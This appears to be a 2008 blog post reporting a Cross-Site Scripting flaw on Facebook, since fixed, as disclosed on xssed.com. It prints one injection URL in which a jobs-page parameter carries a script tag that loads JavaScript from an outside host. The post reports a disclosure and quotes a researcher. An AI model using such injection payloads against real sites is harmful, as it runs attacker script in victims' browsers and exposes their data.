Facebook Hack: XSS Vulnerability (fixed on the 23/05/2008)
This new vulnerability uses a XSS (Cross-Site Scripting) technique to obtain sensitive information from Facebook users and even allows to execute malicious script code on the user computer.
xssed.com who announced (author: Mox) that vulnerability give you good samples of how it works.
Redirection sample:
http://www.xssed.com/mirror/34274/
or
Insertion in a hidden iframe:
http://www.facebook.com/jobs/position.php?st=%3CSCRIPT%20SRC=//ha.ckers.org/.j%3E
According to Dimitris Pagkalos from xssed.com:
“I’m quite sure there are more cross-site scripting issues on Facebook. It is only a matter of time for the next one to be discovered by a security conscious individual.”
Other sources:
Tags: hack, Hack Facebook, News
Related Post
No Comments
No comments yet.
Comments RSS TrackBack Identifier URI
Leave a comment